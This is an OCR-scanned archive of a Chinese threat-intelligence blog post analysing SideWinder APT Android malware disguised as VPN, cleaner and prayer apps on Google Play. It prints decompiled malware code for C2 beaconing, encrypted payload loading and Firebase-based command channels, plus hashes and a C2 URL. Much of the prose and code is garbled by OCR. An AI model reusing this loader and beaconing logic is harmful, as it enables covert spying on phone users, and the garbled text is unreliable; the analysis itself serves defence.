https://ti.qgianxin.com /blog/articles/analysis-of- malware-android-software-spread-by-sidewinder-using-google-play/

BRIEEPMERT O

Archived: 2026-04-10 03:07:19 UTC

des=
B3

ImEYY (APT-Q-39 , X#SideWinder) ZREUAAmRIE RMAPTAL , K EHEsNRE (1B #2012
FZARTEAEREE, fE, MEF. BAR. aINFERREFRE  DGTEBHITFIMIAL
M., EESE]. SEHENMETSIMINEEERNEN , IHEshAFRINBUAE =. KALE
£+ ¥FWindows 5 Android X & KT8k

257

R, FIRELANBENERE SMEFAITETRT | HREIE M —HtSidewWinderdBZR Android¥i B oy
BA, IRIBLRAMRA RIRERDHT , AR EEs BN TR

1. BEARFEE 1EGoogle Playf & , {h3E i Secure VPN(VPNINEIE(S%X{4). Supereme Allah, Z
Cleaner(FH/EIEEXF). Secure browser(N¥E2543K1F) , LIRABGRIT 1K+,

2. COHE IR |, BIRIERILIEAEART . MEBRFTEoogle playR I FEHES ¥+ . Bidfirebase/q
AT x&C2,

f

Z Cleaner Secure VPN Supreme Allah Invincible Allah

HHER
BEA1

AA R “Z Cleaner” FH| /BRI

MD5 base.apk
X4 3delefa51c4670610380ebf87725e5b8
TR/ 4.28 MB

Page 1 of 10



https://ti.qgianxin.com /blog/articles/analysis-of- malware-android-software-spread-by-sidewinder-using-google-play/

Z Cleaner

Ralph Beckford

1K+ H
mioads EGI3@
[
Install [l Add to wishlist
[0 Youdon't have any devices

Found: 0 B

Status: Idle

a2

H (% f“Invincible Allah”%X44

MD5 Inshallah_v1.5_apkpure.com.apk
14 7651ed2c924d612686b4b5e6b4da0b96
RN 6.45 MB

Page 2 of 10



https://ti.qgianxin.com /blog/articles/analysis-of- malware-android-software-spread-by-sidewinder-using-google-play/

Isha Magrib Asr Dhor Fajr
22:13 20:42 17:11 13:31 04:27
Festures
Sunset sunrise
__ﬁ ‘ N l_ V4
e b iR |

More Dua’ s

fTheT1,,
A\ = l/
F11

Tasbi Counter

N
Q?@@@@‘

B3

HhFE R “Secure VPN INZIB (55K,

Allah Names
f'f Ny

b

A
KE
LS

Preferred dhikr

@)
R
=

MD5 Secure VPN_3.9_apkcombo.com.apk
X4 17ccf24c4e09b1bc7ce5c0eb637adedd
TR 14.0 MB

Page 3 of 10



https://ti.qianxin.com /blog/articles/analysis-of-malware-android-software-spread-by-sidewinder-using-goog|le-play/

Secure VPN

Waiting for Servers..

Ga2ivap

FEZAS \Google Playdt{Toed , HE b+ 0 install_referrer” S %45 7 I HRAIC2(ALE1E20224E06 B
0SHN B £E Tk , REEIREREIC2),

Page 4 of 10



https://ti.qgianxin.com /blog/articles/analysis-of- malware-android-software-spread-by-sidewinder-using-google-play/

ThEvu_agpoL
InstallReferrerClient$Builder ve_4 = InstallReferrercClient.newBuilder(((Context)this));
InstallReferrerClient vé 5 = ve_4.build();
this.referrerclient = ve_5;
com. securedata.vpn.view.Mainactivity$3 vi_1 = new InstallrReferrerstateListener() {
public void onInstallreferrerserviceDisconnected() {
string v = "SDK";
Log.e(vd, "onInstallReferrerServiceDisconnected()"};

}

I Euhlic void nnlnstallﬁefer‘r‘er‘se‘tuEFinishedEint ar‘gﬂ i I
ring wad;

string veé = "SDK"; %
if(args == @) {
"Installreferrerclient success”;

v4 = Mainactivity.access$7ee(Malnactivity.this).getInstallreferrer().getInstallreferrer();
Log.e(ve, "REFERL = " + v4);
if(v4.contains("utm_source”}} {

return;

1

og.e(ve, "REFERZ = " + v4);

MainActivity.this.launchCampaign(MainActivity.this.getApplicationContext(}, v4);
}
catch(RemoteException va4_ 1) {

v4_1.printstackTrace();

p23sEa4bs vi_1 = p23esashs.getinstance();

vi_1.legerror(((Exception)v4_1));

v4 = "REFER RemoteException”;

Log.e(ve, v4);

REFIC2fF | IEC2{RFEIRE B R MyPref” L& TR url " F B,

public void launchCampaign(Context arge, String arg?) {
string ve = "ZFhKcw== /f url
String vi = "v2iWbvpySnk=";
ring = "SDH";
g = "launchCampaign() called”;
Log.e(v2, v3);

SharedPreferences ve_1 = argé.getSharedPreferences(p78722263.MyPREFERENCES, @)
sharedPreferencesfEditor v2_1 = vé_l.edit();
if(!ve_1.contains(p23e8a4ba.getinstance().dbea(vi))) {
v2_1.putBoolean({p23c8a4bs, getInstance () .dbea(v1), true);
v2_1.apply(};
}

if({arg? == null) {
return;

}

arg7 = new peSdeslab(new BytearrayInputStream{p23esasdbs.getInstance().decodeData(Basec4.decode(arg?, @)))).readstring();
if(!ve_1.contains(p23e8a4bs.getInstance().dbea(val}) {
v2_1.putString(p23e8a4b4.getInstance().dbea(ve), arg?);

V2 1.a221¥(}'

H

this.launchSdk(};

E  ERC2 , RIE EAIRLIER.
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public void lambda$apiFetch$esroregroundservice() {
try {
string ve 1 = this.getsharedpreferences(“wyrref”, @).getstring("mId”, ""});
StringBuilder v3 = new StringBuilder(};
v3.append(p78722263 . BPASE URL);
v3.append (" ?x=REMOVED_FROM_RECENT/"};
v3.append(Calendar.getInstance().getTime());
vE.append(”/");
v3.append(ve_1};
URLConnection we_2 = new URL{v3.toString()).openConnection()};
((wttpUurRLConnection)ve_2).setReadTimeout (35000} ;
((wttpUurRLConnecticon)ve_2).setConnectTimeout (35000} ;
((uttpurLConnecticon)ve_2).setRequestProperty("Content-Type”, "application/json"};
((sttpurRLConnection)ve_2).setRequestmethod("GET");
((wttpUurRLConnection)ve_2).setDoInput(true);
((uwttpuRLConnecticn)ve_2).setUseCaches(false);
pataInputstream v2 = new DataInputStream(((sttpURLConnecticn)ve 2).getInputStream());
BytearrayoutputStream v3_1 = new ByteArrayoutputStream(};
int v4 = exaea;
byte[] v5 = new byte[v4];
while{true) {
int ve& = v2.read(vs, @, v4);
if(ve == -1) {
break;

y

v3_1l.write(vs, @, v&);
¥

v3_1.flush(};

v3_1.toBytearray();

v2.close(};

int v@_3 = ((HttpURLConnection)we 2).getResponseCode();
PrintStream vl = System.out;

WEEAMES , SREL0SMHME TEHFELIIT.

kel
private void startscheduler(} {
WorkManager v@ = WorkManager.getInstance();
Builder v1 = new Builder(};
NetworkType v2 = NetworkType.CONNECTED;
vl = vl.setRequiredNetworkType(vz);
vl = vil.setRequiresBatteryhotLow(false);
Constraints v1_1 = v1.build()};
Class v3 = pdbaafel2.class;
TimeUnit w4 = TimeUnit.HOURS;
long v5 = 4;
androidx.work.PericodicWorkRequest$Builder v2_1 = new androidx.work.PeriodicwerkRequest$Builder(v3, v5, v4);
androidx.work.workRequest$Builder v1_2 = v2_l.setConstraints(vi_1};
String v2_2 = "Call_Foreground”;
vi_2 = ((androidx.work.PericdicworkRequest$Builder)vl_2).addTag(v2_2};
TimeUnit v3_1 = TimeUnit.MILLISECONDS;
long v4 1 = GOOG00;
v1_2 = ((androidx.work.PericdicworkRequest$Bullder)vl_2).setInitialpelay(va_1, v3_1);
wWorkRequest vi_3 = ((androidx.work.Pericdicworkrequest$Builder)vi_2).build();
ExistingPericdicWerkPolicy v3_2 = ExistingPericdicWerkPolicy.kEER;
v@.engueuelniquePeriodicWerk(v2_2, v3_2, ((PericdicwWerkRequest)vil_3}};

FHMESPITIE |, 1ERC2 , TEIRAHREFEIZE B FipermFexIF R, FHAEAIRAHMEBIT.
TR
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private void save(byte[] arge) throws Exception {
Fileoutputstream ve_2;
Exception wé;

File

v2 = this.getFilespir();

string v2_1 = v2.getPath();

p23efadbd w3 = p23efadbd.getInstance();
string v4 = “WmlWNA==";

string vi_1 = v3i.dbsa(v4);

File vl = new File(v2_1, w3 1};
p23ega4b4 v2_2 = p23esadb4.getInstance();
v3_1 = "vedwWewIvimxlQTes"; // permFex
w2 1 = v2_2.dbe4(v3_1);

File v = new File(vi, v2_1});

boolean vi1_1 = we.exists();

if(vl 1) {

¥

else {

vl 1 = v@.mkdirs();

3

if(Iv1_1) {

stringBuilder vi_2 = new StringBuilder();
v2_1 = "Failed to create dir: “;
vl_2.append(v2_1};

string v8_1 = v@.getAbsolutePath();
vl _2.append(ve_1);

vE = new Exception(vi_2.tostring()};
throw ve;

FilegutputStream vl 3 = null;

try {
v@ 2 = new FileoutputStream({new File(wd, p23eladb4.getInstance().MD5("permFex"}));
goto labesl_g4;

iR K]

private

T :

void loadFromDisk(Fils arg5S) {

string v@ = "load”;
string vi = "loadFromDisk";

Log.

e(va, vi);

try {

int w1 1 = {{int)arg5.length{)};
byte[] ve_1 = new byte[vl_1];
BuffersdInputStream v2 = new BuffersdInputStream{new FileInputStream({args));
v2.read(ve_1, @, v1_1);
v2.close();
peSdesiab va_2 = new peSdesigb(new EytearrayInputstream(p23elzashd.getinstance().des
string v5_1 = ve_2.readstring(};
ve_1 = ve_2.readBytes(ve_2.readInt()});
Log.e("AppService™, vw5_1};
this.appapplication.setManifestPerms(this.getapplicationContext()});
this.appapplication.setallPermsInt();
if(Build$VERSION.SDR_INT >= 26} {

this.inMemoryFileLoadModule(vs_1, ve_1});

return;

3

this.fileLoadMedule(vs_1, ve_1};

catch{Exception v5) {

}

v5.printStackTrace();

ERINBERFEAL, A2, HASHHRIR | A3 M AN R QEETRERC2HIKIR
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B S EYRiL T —NC2 : ”https:/register.srvapp.co/”;
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static {
string v2 = "VFhsUWNtvma=";
byte[] v2_1 = Baseed.decode(v2, 8);
string v1 = new String(v2_1);
byte[] vi_1 = Basecs.decode(vl, @);
string v@ = new String(vi_1);
p7EF22263 .MyPREFERENCES = v,
ve = "https://register.srvapp.co/";
p7E722263.BASE_URL = Vi

p78722263 . isCapturescreenshotComplete = true;

FEAR3 1 1EHET firebase , A] PAFkHR firebase/5 & T & MIC2.

private void senduotificationaboveO(RemoteMessage args) {
string va_1;
string v@ = “api
string v1 = "se
Log.e(ve, vi);

Fi £
NotificationAboveQ™;

public void onMmessageReceived(Remotemessage arg3) { Map ve_1 = arg8.getdatal);
super.onMessageReceived (arg3); int ve 2 = ve 1.size();
class ve = mainactivity.class; if(ve 7 <= 9)‘(
this.octivity = ve; return;
int ve_1 = Build$VERSION.SDK_INT; 3}
if(ve_1 < 28) {
this.sendnotificationBelowd(args); Vap v = args.getData();
} ve = "title";
else {_ . ) vE.get(va);
this.sendNotificationabovec(args); Vi = "body";
T set{vl}
} string v2 = "url”;

ob3 v8_1 = vB.get(v2});
context v3 = this.getapplicationContext();
class v4 = this.activity;
Intent v2_1 = new Intent(v3, v4);
if(vE_1 == null) {
else {
label 83:
¥3 1 = "FIRE URL"; ]
wv2_1.putextra(v3_1, ((string)ve_1));
3
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public byte[] encodeData(byte[] argé) {
int ve = arge.length;
int vi = @x20;
ve = vi;
byte[] ve_1 = new byte[ve];
byte[] v2 = new byte[vi];
Securerandom v3 = new SecureRandom();
v nextBytes(v2);
int v3_1 = o;
tem.arraycopy(v2, @, ve_1, 8, vl);
'_1 = argé.length;
.arraycopy(args, @, ve_1, vl, v2_1);
while(true) {
vl = argé.length;
if(v3_1 »= v1) {
return ve_1;

g

vl = v3_1 + 0x20;

v2_1 = ve_1[vl];

int v& = v3_1 X exze;

v4 = ve_1[va];

v2 1 A= v4;

byte v2_2 = ((byte)va_1);
ve_1[vl] = v2_2;

+v3_1;

{F AL A BT Google Play 1535 , AR BREHSideWinderf APK %1% A ARG

2020 PR FWEFA

static byte[] b(byte[] arg6) {
byte[] v@ = new byte[arg6.length + ex2e@];
byte[] v2 = new byte[@x2@];
new Random().nextBytes(v2);
System.arraycopy(v2, ©, vO, @, ©x20);
System.arraycopy(arg6, @, v@, @x2@, argb.length);
int vl;
for(vl = @; vl < argb.length; ++v1) {
int v3 = vl + @x20;
ve[v3] = ((byte)(vl[v3] ~ vO[vl % ex2@]));

return v@;

(1] .

Page 8 of 10



https://ti.qgianxin.com /blog/articles/analysis-of- malware-android-software-spread-by-sidewinder-using-google-play/

Sk

R ROHF A E RS R IR dEs) , ERNAAARZERN, SR MARAELRRE
KA, DIIFTIFARER N Z R MR RNGERE | R REPITRIRIRBMEHE | TET5 KR E
BIKEISCHF , AREIEIEMBIRRIFMAPP, MEIRNENEEXMH , BHTRAT.

BREIT , RRRARENNA |, sJEBEFREBIMEIRFREAITTEA
(https://sandbox.ti.gianxin.com/sandbox/page) #H1T¥#I5. BRIEXIFAIEWindows, TEFEENKZ T

MR FREDHT.

Bal , ETHFRERMERT ONBIMERIIER 24 M , BETREEIMERTE (TIP) . §&%E

KRR RS, K%, RIRSEBIMENAL., FRENGSOC, FRESHBANE , HEEX

FEXT I S T AR AR .

A

AP A | sssirFs

1 BURME

el & mHI0C ¥ HRERLONS
&R semmnamn (2] mmernsmn POMAIN e B s
TR AT R D M AR SS
. 1 webminocz €
() wommmammrn (©) snmasawnn Wy, BE. Fihs
xred.mooo.com [
(@ remnamn @ APTRE B autest.com R RHERERNE
_ 138.6712 307
D ram =
[E} wxmmnn () rorwmiman

17ccf24c4e09b1bc7ce5c0eb637adedd

3delefa51c4670610380ebf87725e5b8

3df009405c2226fa5047de4caff3b927

9b0a33d41dda234676ba%efe379953f3

0e9a872844e912b057ebec6af011a2e7

7651ed2c924d612686b4b5e6b4da0bo6

5aa544b5c1432710b80aa315beef5b7d

32ee8258cc83415d87942edbc250acea

Page 9 of 10



https://ti.qgianxin.com /blog/articles/analysis-of- malware-android-software-spread-by-sidewinder-using-google-play/

d1a7c83958cb714319fbf01f96a89504
91e4d29fd1c4ee00636040c76efel166d
URL

https://register.srvapp.co/

SHHHE

[1] https://www.trendmicro.com/en_us/research/20/a/first-active-attack-exploiting-cve-2019-2215-found-on-

google-play-linked-to-sidewinder-apt-group.html

Source: https://ti.gianxin.com/blog/articles/analysis-of-malware-android-software-spread-by-sidewinder-using-google-play/

Page 10 of 10



